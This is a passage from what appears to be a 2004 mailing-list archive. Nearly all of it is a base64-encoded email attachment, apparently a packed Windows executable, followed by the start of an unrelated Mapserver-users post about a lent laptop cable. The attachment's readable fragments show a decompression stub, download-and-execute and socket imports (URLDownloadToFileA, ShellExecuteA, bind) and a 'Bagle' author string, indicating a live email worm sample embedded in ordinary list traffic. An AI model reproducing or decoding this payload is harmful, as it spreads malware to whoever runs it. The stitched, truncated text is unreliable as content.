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 //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAH0MYTqJnAnQ6Xxi1 vqe5nXIpbQtTgK4oQzmXWBy5hk93QD3EKnZZpipslY6upitNex9JgSyfmn2LrbNOnlobj4J8 nDGFjps3c7RmmYM/HQJFUG5mqkUPrxU2CFKIKI2bjzXHoR7ClSxcVpSac0aOhBl2AFhQv5YY gxOcKFNeZWhjDxFmZAp1U5UQk5afFse+PaWtfrmnla+bOVhuWpC7Bpg5g78EacNjMJScqJpl a8Oquia6p604N08fmq+3anawtAFnASgqxFokeAo+ljA9x797bmquQxdDvjggVK2dIhVSwWh8 YF6HYoZgxcdmHahDNiMCZKcXFBZtoMdTBENfc7/GQSqTPDCcmbJxWCqBJGG4wnE/aLCfNbsA uZeqZ1N8g1qHgLJjA3qHaH18EbNVwhKKiKhDuqelU6h6njcRqx67pL2AIRpdEWcTBaU8HXiX vsQ+JRyhkcU2ric2pjJHxUMPBGxJi24VLhZLrhAJOSetMbhsdw9Qh7B8hLEHlSYZST64GJyj g4GsrKC9JZqtGxmMdl9nizywMZ2YjSXDmUynrHIaDQR0HZ1jjl5vU3wNd1afnzAJk01mAg0g ucNBdxNsFWlcoQWBdy7GIYMvRrZSnG9PMWZ8m4FvkDeSmhagKz1XqL3DGmFGo6ciT5MkmBi8 rHsXGQO8fZTDGFIGq8FHCgVlpauoIG+LQmOxRFK6bX9Zl5B4Rh0rdGlTV6+ErKU9BGmjS4WE QWcYMyhboFB+Yx4wgp5UlI6sd8Eexk4AiYxQPTNwEgI5JGsAlT58RG2lRQA4eBEfNVQ9e8Fi bTWmkhyXWwkmcsahCnHEbV+NCm9WDGyfFWp3SQRFB0kGZqkJBVVum75PSLJoWaqxaGSGYFMj fE3CbwsybzN+aq+ejyhPsRIVPHgVgAZuQV0lqpXAoD4owHp/f3q/M1syu7siGDAgabsfRwUI vQwCWb8NXB4+XWcuNZplVbR0jKJcNyWNlr8ONj0QXyHFiwQtIq6jO6RNWY4sV7Q8qEpBfxR0 Z1tTKTFyUS0ajVArI7IsDhNJMm9LwmpSL6wBIhofULMuvoFaU8aDuItXq2uSfpGUVjlYAJoz XpUkuRpoZ7RLwnImBcSFu2KCkwYdOR4HmIVSYA0QYS0eG163m0tzXxZ6NkBXq4pEE3c7MVAn GQ2lVajHQ3VkOZRvT3KVLRnFVqF6Y2k9pmM2ZC6zm8I7bmRXoDjFQE+SM342Py4tZ42AfX59 R3JDW66wYxqiAy+CHLVui2cfSMdOLX0UZBlkGiodqYEHwxE4FEssQkl4Lkp+q1kBDb6gSQWp ujhXbGSaf5o9T0QDemJGRGabPRJcRp4dS7FFbT4gCTGkw3pvksTDncQ+SDXDfQAeImwsJkJ7 ChXHODnGrE/GfIgME2S7k0wmPYoGnl6KsFx8XhUQfU13n6MadbtKjjUcZm0LOyNfKBxIFk4i rRWWKmc= ----------gxpylwnxjppdhwtwsrph-- From mlucas17 at mac.com Wed Jun 16 11:56:54 2004 From: mlucas17 at mac.com (mrl) Date: Wed, 16 Jun 2004 14:56:54 -0400 Subject: [Mapserver-users] Powerbook 17" Dongle from OSGIS Message-ID: Will the person that lent me his Powerbook video cable at the 